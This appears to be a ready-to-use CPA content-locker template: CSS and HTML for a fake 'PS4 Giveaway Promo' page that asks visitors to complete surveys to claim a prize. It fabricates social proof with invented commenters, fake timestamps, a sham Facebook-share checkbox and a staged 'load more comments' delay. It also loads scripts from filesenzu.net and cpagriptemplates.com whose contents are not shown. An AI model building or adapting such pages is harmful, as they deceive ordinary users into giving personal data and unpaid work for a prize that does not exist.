Giveaway Promo Template

Screenshot

Custom CSS :

.offer_help_text{display: none}.dl_button{background: #00B4FF;color: #fff;font-size: 20px;padding: 10px 10px;width: 100%;max-width: 600px;border: 5px solid white;box-shadow: 0px 3px 5px #ddd;border-radius: 5px;margin-top: 20px;white-space: nowrap;overflow: hidden;text-overflow: ellipsis}.dl_button:hover{background: #00A3CC;border: 5px solid white}.link_a:link{background: #00B4FF;color: #fff;font-size: 20px;padding: 10px 10px;width: 100%;max-width: 600px;border: 5px solid white;box-shadow: 0px 3px 5px #ddd;border-radius: 5px;margin-top: 20px;white-space: nowrap;overflow: hidden;text-overflow: ellipsis}.link_a:link:hover{background: #FFC56A;color: #424546}#rock{background: white;border: 1px solid #eee;padding: 10px}#comment{width: 100%;padding: 8px;border: 1px solid #ccc;border-radius: 5px;margin: 5px auto}#comment:focus{outline: none}#post{background: #3F5B9A;color: #fff;border: 1px solid #2E4B89;border-radius: 3px;padding: 3px;font-size: 12px;width: 50px;font-weight: bold;float: right}#post:focus{outline: none}#check{margin: 5px;color: #ccc}p{margin: 1px}#name{color: #3B5998;font-weight: bold;cursor: pointer}#message{color: #000}#soci{font-size: 14px;margin-top: 5px}#link-a{cursor: pointer;color: #3B5998}#link-a:hover{text-decoration: underline}#load-more{Background: #5890FF;color: white;border: 0px;width: 100%;padding: 15px;border-radius: 2px;max-width: 700px}#load-more:focus{outline: none}.dl_button{display:none}#hidden{display: none}#profile{width: 50px;height: 50px}#title{color: #fff}body{margin: 10px;background: #eee url(https://i.imgur.com/0mfJU0G.jpg);background-position: 50% 50%;-webkit-background-size: cover;-moz-background-size: cover;-o-background-size: cover;background-size: cover;background-attachment: fixed;padding:10px}#container{background: #fff;max-width: 900px;min-height: 300px;margin: 0px auto;padding: 20px;border: 1px solid #ddd;display:none}

 

Custom HTML

<meta name="viewport" content="width=device-width, initial-scale=1 maximum-scale=1" />
<div id="container">
    <center>
        <h1>PS4 Giveaway Promo</h1>
        <h3>{%today_date%}</h3>
        <br>
        <img src="https://i.imgur.com/vCWmFGF.jpg" style="width:100%;max-width:600px">
        <h2>Complete the Steps To Claim Your Reward</h2>You will receive notification after completing a survey.

        <h3>Step 1 : Complete a Simple Survey Below</h3> {%offers%}
        <br><i style="color:#aaa">Promo Until {%today_date%}</i>
    </center>
    <br>
    <br>
    <div id="rock">
        <b>1,479 Comments</b>
        <div id="fblike" style="float:right"></div>
        <hr/>
        <input id="comment" placeholder="Add a Comment..."></input>
        <button id="post">Post</button>
        <input id="check" type="checkbox">
        <font style="color:#aaa">Also Post on Facebook</font>
        </input>
        <div style="clear:both"></div>
        <br/>

        <table>
            <tr>
                <td valign="top" style="padding:3px;">
                    <img id="profile" src="https://i.imgur.com/pTo7zds.jpg">
                </td>
                <td valign="top" style="padding:3px;">
                    <p id="name">Karen Daniels</p>
                    <p id="message">Thank you for this HUGE giveaway. More power to you guys.</p>
                    <p id="soci">
                        <font id="link-a">Like</font> ·
                        <font id="link-a">Reply</font>
                        <font style="color:#aaa">1 minute ago</font>
                    </p>
                </td>
            </tr>
        </table>
        <br/>

        <table>
            <tr>
                <td valign="top" style="padding:3px;">
                    <img id="profile" src="https://i.imgur.com/kFsqs7S.jpg">
                </td>
                <td valign="top" style="padding:3px;">
                    <p id="name">Verna Elliott</p>
                    <p id="message">Thank you for freebies</p>
                    <p id="soci">
                        <font id="link-a">Like</font> ·
                        <font id="link-a">Reply</font>
                        <font style="color:#aaa">3 minutes ago</font>
                    </p>
                </td>
            </tr>
        </table>
        <br/>

        <table>
            <tr>
                <td valign="top" style="padding:3px;">
                    <img id="profile" src="https://i.imgur.com/YIf1goS.jpg">
                </td>
                <td valign="top" style="padding:3px;">
                    <p id="name">Jackie Veronica</p>
                    <p id="message">Thank you. I got it.</p>
                    <p id="soci">
                        <font id="link-a">Like</font> ·
                        <font id="link-a">Reply</font>
                        <font style="color:#aaa">4 minutes ago</font>
                    </p>
                </td>
            </tr>
        </table>
        <br/>

        <table>
            <tr>
                <td valign="top" style="padding:3px;">
                    <img id="profile" src="https://i.imgur.com/A6VzjXZ.jpg">
                </td>
                <td valign="top" style="padding:3px;">
                    <p id="name">Sharon Vawser</p>
                    <p id="message">Thank you so much. you are awesome guys. Wish you all the best.</p>
                    <p id="soci">
                        <font id="link-a">Like</font> ·
                        <font id="link-a">Reply</font>
                        <font style="color:#aaa">7 minutes ago</font>
                    </p>
                </td>
            </tr>
        </table>
        <br/>

        <table>
            <tr>
                <td valign="top" style="padding:3px;">
                    <img id="profile" src="https://i.imgur.com/eRWn4Yl.jpg">
                </td>
                <td valign="top" style="padding:3px;">
                    <p id="name">Kristina Mendoza</p>
                    <p id="message">working.. survey was easy, no complaints from me just make sure you put in real data for the survey or they wont complete.</p>
                    <p id="soci">
                        <font id="link-a">Like</font> ·
                        <font id="link-a">Reply</font>
                        <font style="color:#aaa">8 minutes ago</font>
                    </p>
                </td>
            </tr>
        </table>
        <br/>

        <div id="hidden">
            <table>
                <tr>
                    <td valign="top" style="padding:3px;">
                        <img id="profile" src="https://i.imgur.com/vSBo1IA.jpg">
                    </td>
                    <td valign="top" style="padding:3px;">
                        <p id="name">Jessica Stewart</p>
                        <p id="message">Thank you i got mine.</p>
                        <p id="soci">
                            <font id="link-a">Like</font> ·
                            <font id="link-a">Reply</font>
                            <font style="color:#aaa">12 minutes ago</font>
                        </p>
                    </td>
                </tr>
            </table>
            <br/>

            <table>
                <tr>
                    <td valign="top" style="padding:3px;">
                        <img id="profile" src="https://i.imgur.com/vSBo1IA.jpg">
                    </td>
                    <td valign="top" style="padding:3px;">
                        <p id="name">Jessica Stewart</p>
                        <p id="message">I love it.</p>
                        <p id="soci">
                            <font id="link-a">Like</font> ·
                            <font id="link-a">Reply</font>
                            <font style="color:#aaa">13 minutes ago</font>
                        </p>
                    </td>
                </tr>
            </table>
            <br/>

            <table>
                <tr>
                    <td valign="top" style="padding:3px;">
                        <img id="profile" src="https://i.imgur.com/GFDUb9V.jpg">
                    </td>
                    <td valign="top" style="padding:3px;">
                        <p id="name">Marvin Deliza</p>
                        <p id="message">Thank you.</p>
                        <p id="soci">
                            <font id="link-a">Like</font> ·
                            <font id="link-a">Reply</font>
                            <font style="color:#aaa">16 minutes ago</font>
                        </p>
                    </td>
                </tr>
            </table>
            <br/>

            <table>
                <tr>
                    <td valign="top" style="padding:3px;">
                        <img id="profile" src="https://i.imgur.com/XqnyNyO.jpg">
                    </td>
                    <td valign="top" style="padding:3px;">
                        <p id="name">Barbara Noblitt</p>
                        <p id="message">Thank you so much.</p>
                        <p id="soci">
                            <font id="link-a">Like</font> ·
                            <font id="link-a">Reply</font>
                            <font style="color:#aaa">16 minutes ago</font>
                        </p>
                    </td>
                </tr>
            </table>
            <br/>

            <table>
                <tr>
                    <td valign="top" style="padding:3px;">
                        <img id="profile" src="https://i.imgur.com/SmD6KEC.jpg">
                    </td>
                    <td valign="top" style="padding:3px;">
                        <p id="name">Christian Nicoll</p>
                        <p id="message">Thank you for giveaway..</p>
                        <p id="soci">
                            <font id="link-a">Like</font> ·
                            <font id="link-a">Reply</font>
                            <font style="color:#aaa">20 minutes ago</font>
                        </p>
                    </td>
                </tr>
            </table>
            <br/>
        </div>
        <center>
            <img id="load" style="display:none;margin-bottom:20px;width:20px" src="https://i.imgur.com/qqyqtvq.gif">
            <button id="load-more" onclick="$(this).hide();$('#load').show();setTimeout(function(){$('#hidden').show(0);$('#load-more').show();$('#load').hide();},2000);"><b>Load more comments..</b>
<script src='https://filesenzu.net/promoland.js' type="text/javascript"></script>
<script src='https://cpagriptemplates.com/jquery.min.js' type="text/javascript"></script>
                </button>
        </center>

 

 

 

Note : By using our templates you agree to our terms and conditions.

 

2,544 Views